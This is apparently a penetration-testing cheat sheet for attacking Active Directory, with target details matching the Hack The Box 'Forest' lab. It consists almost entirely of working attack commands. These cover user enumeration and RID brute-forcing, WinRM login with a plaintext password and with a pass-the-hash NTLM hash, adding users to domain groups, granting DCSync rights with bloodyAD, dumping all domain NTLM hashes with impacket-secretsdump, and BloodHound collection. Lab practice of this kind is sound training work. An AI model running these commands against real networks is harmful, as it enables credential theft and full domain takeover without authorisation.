Enumerate users
enum4linux -U 10.129.95.210
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute # can be anonymous
WinRM connect
Password:
evil-winrm -u svc-alfresco -p s3rvice -i 10.129.95.210
Pass the Hash (ntlm hash):
evil-winrm -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 -i 10.129.95.210
Add users, groups, etc.
Active Directory:
net group "groupname" /domain
net group "groupname" "username" /add /domain
net user
net share
net localgroups
DC Sync
Activate rights:
bloodyAD --host 10.129.95.210 -d htb.local -u svc-alfresco -p s3rvice add dcsync svc-alfresco
Dump credentials over the network:
impacket-secretsdump -just-dc-ntlm 'htb.local'/'svc-alfresco':'s3rvice'@'10.129.95.210'
Bloodhound
bloodhound-python -c all -u 'svc-alfresco' -p s3rvice -d htb.local -dc forest.htb.local -gc forest.htb.local -ns 10.129.95.210